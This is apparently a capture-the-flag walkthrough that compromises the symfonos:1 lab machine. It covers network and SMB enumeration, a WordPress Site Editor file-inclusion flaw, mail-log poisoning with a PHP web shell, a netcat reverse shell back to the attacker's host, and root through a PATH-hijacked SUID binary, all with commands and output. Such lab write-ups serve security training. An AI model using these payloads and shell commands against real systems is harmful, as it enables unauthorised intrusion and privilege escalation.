voker2311 /
CaptureTheFlag-walkthroughs

Code Issues Pull requests 1 Actions Projects Security Insigh

CaptureTheFlag-walkthroughs / symfonos 1 CTF Walkthrough.txt

voker2311 Update symfonos 1 CTF Walkthrough.txt 83a85f7 · 5 years ago

475 lines (369 loc) · 22.2 KB

```
symfonos:1 is an intermediate boot2root machine.
IP: 192.168.0.108

Lets enumerate the system and try to exploit it.

root@LAPTOP-U5913CMD:/home/akshay# nmap -A -T4 -p- 192.168.0.108
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-23 19:32 IST
Stats: 0:00:02 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.50% done; ETC: 19:33 (0:00:00 remaining)
Nmap scan report for 192.168.0.108
Host is up (0.0018s latency).
Not shown: 65530 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, EN
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/s
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=9/23%OT=22%CT=1%CU=33464%PV=Y%DS=2%DC=T%G=Y%TM=5F6B55B
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=8)OPS
OS:(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O5=M5B4ST1
OS:1NW6%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
```

```
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=C32D%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos
|   NetBIOS computer name: SYMFONOS\x00
|   Domain name: \x00
|   FQDN: symfonos
|_  System time: 2020-09-23T09:03:02-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-09-23T14:03:02
|_  start_date: N/A


Comment : File source: https://commons.wikimedia.org/wiki/File:Peter_Paul_Rubens_-_The_Fal


I did enum4linux scan for samba service running on port 139 and 445.

root@LAPTOP-U5913CMD:/home/akshay# enum4linux symfonos.local
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed

 ==========================
|    Target Information    |
 ==========================
Target ........... symfonos.local
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================
|    Enumerating Workgroup/Domain on symfonos.local    |
 ====================================================
[+] Got domain/workgroup name: WORKGROUP

 ============================================
|    Nbtstat Information for symfonos.local    |
 ============================================
Looking up status of 192.168.0.108
        SYMFONOS        <00> -         B <ACTIVE>  Workstation Service
        SYMFONOS        <03> -         B <ACTIVE>  Messenger Service
        SYMFONOS        <20> -         B <ACTIVE>  File Server Service
        WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
        WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 =======================================
|    Session Check on symfonos.local    |
 =======================================
[+] Server symfonos.local allows sessions using username '', password ''

 =============================================
|    Getting domain SID for symfonos.local    |
 =============================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================================
|    OS information on symfonos.local    |
 ========================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line
[+] Got OS info for symfonos.local from smbclient:
[+] Got OS info for symfonos.local from srvinfo:
        SYMFONOS       Wk Sv PrQ Unx NT SNT Samba 4.5.16-Debian
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

 ===============================
|    Users on symfonos.local    |
 ===============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: helios   Name:   Desc:

user:[helios] rid:[0x3e8]

 ===========================================
|    Share Enumeration on symfonos.local    |
 ===========================================

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on symfonos.local
```

```
//symfonos.local/print$ Mapping: DENIED, Listing: N/A
//symfonos.local/helios Mapping: DENIED, Listing: N/A
//symfonos.local/anonymous      Mapping: OK, Listing: OK
//symfonos.local/IPC$   [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

 ======================================================
|    Password Policy Information for symfonos.local    |
 ======================================================


[+] Attaching to symfonos.local using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] SYMFONOS
        [+] Builtin

[+] Password Info for Domain: SYMFONOS

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes


[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5


 ================================
|    Groups on symfonos.local    |
 ================================

[+] Getting builtin groups:

```

```
[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:



Found one user - > helios

root@LAPTOP-U5913CMD:/home/akshay# smbclient -N -L \\\\symfonos.local\\

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available

root@LAPTOP-U5913CMD:/home/akshay# smbclient //symfonos.local/anonymous
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun 29 06:44:49 2019
  ..                                  D        0  Sat Jun 29 06:42:15 2019
  attention.txt                       N      154  Sat Jun 29 06:44:49 2019

                19994224 blocks of size 1024. 17299264 blocks available
smb: \> get attention.txt

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!

Next person I find using one of these passwords will be fired!

-Zeus



root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# smbclient -N -L \\\\symfonos.local\

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available
root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# smbclient //symfonos.local/helios -
Enter WORKGROUP\helios's password:
```

```
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun 29 06:02:05 2019
  ..                                  D        0  Sat Jun 29 06:07:04 2019
  research.txt                        A      432  Sat Jun 29 06:02:05 2019
  todo.txt                            A       52  Sat Jun 29 06:02:05 2019

                19994224 blocks of size 1024. 17299264 blocks available
smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (46.9 KiloBytes/sec) (average 46.9
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.6 KiloBytes/sec) (average 26.3 KiloBytes/
smb: \>


So the user was helios and password for his personal share is "#####"

Found these two files ->

root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a g
root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# ls
attention.txt  image.jpg  password.txt  research.txt  todo.txt  walkthrough.txt
root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF# cat todo.txt

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF#

/h3l105 might be the directory.


[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://symfonos.local/h3l105/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb

[+] Finished: Wed Sep 23 19:48:34 2020
[+] Requests Done: 29
[+] Cached Requests: 28
[+] Data Sent: 7.444 KB
[+] Data Received: 467.151 KB
[+] Memory used: 133.914 MB
[+] Elapsed time: 00:00:24
[+] Elapsed time: 00:00:24
root@LAPTOP-U5913CMD:/home/akshay/Desktop/symsofosCTF#
```

So admin is the user on wordpress so lets try to login using admin.

http://symfonos.local/h3l105/wp-content/uploads/siteeditor/

this directory is browsable.

lets search for siteditor exploit.
So I found this vulnerable plugin for wordpress website which includes LFI.
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion

```
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:


http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/

From root@symfonos.localdomain Fri Jun 28 21:08:55 2019 Return-Path: X-Original-To: root D
```

Lets try to upload php GET command.

```
root@LAPTOP-U5913CMD:/home/akshay# telnet 192.168.0.108 25
Trying 192.168.0.108...
Connected to 192.168.0.108.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM:<mark>
250 2.1.0 Ok
RCPT TO: Helios
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 36BE140698


http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/

uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(di
```

Lets use netcat to get a reverse shell
-> nc 192.168.0.106 1234 -e /bin/sh

```
C:\Users\Voker\Downloads\netcat-win32-1.12>nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.0.106] from (UNKNOWN) [192.168.0.108] 48932
```

```
id
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(di

Lets make this shell stable using python.

```

CaptureTheFlag-walkthroughs / symfonos 1 CTF Walkthrough.txt ↑ Top

Code Blame Raw

```
/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password123' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Nada... :(
I searched for SUID files using the following command:

helios@symfonos:/$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping

/opt/statuscheck looks interesting and can be a way to root shell.

helios@symfonos:/opt$ strings statuscheck
strings statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
```

```
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
AWAVA
AUATL

curl -I H

curl can be used to spawn a root shell.

echo '/bin/sh' > /tmp/curl
chmod 777 /tmp/curl
export PATH=/tmp:$PATH
./statuscheck
helios@symfonos:/opt$ ./statuscheck
./statuscheck
# id
id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29
# whoami
whoami
root

# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt

        Congrats on rooting symfonos:1!

                 \ __
--==////////////[})))==*
                 / \ '          ,|
                    `\`\      //|                             ,|
                      \ `\  //,/'                           -~ |
   )             _-~~~\  |/ / |'|                       _-~  / ,
  ((            /' )   | \ / /'/                    _-~   _/_-~|
 (((            ;  /`  ' )/ /''                 _ -~     _-~ ,/'
 ) ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/,
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /
 ((\~\           |    )   | '      /        __--~~  \-~~ _-~
    `\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|
     (  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~
      ~~\~~~~~~   `\-~      \~\ /             --~~~'~~/
```

```
                   ;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._
                   ;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\
                  ;;;;;;;'   /      ----~~/         `\,~    `\ \
                  ;;;;'     (      ---~~/         `:::|       `\\.
                  |'  _      `----~~~~'      /      `:|        ()))),
            ______/\/~    |                 /        /         (((((())
          /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))
         / //  _;______;'------~~~~~   |;;/\    /                ((   (
        //  \ \                        /  |  \;;,\                 `
       (<_    \ \                    /',/-----'  _>
        \_|     \\_                 //~;~~~~~~~~~
                 \_|               (,~~
                                    \~\
                                     ~~

        Contact me via Twitter @zayotic to give feedback!


# echo 'Thank you..Happy Hacking' > signing_out.txt
```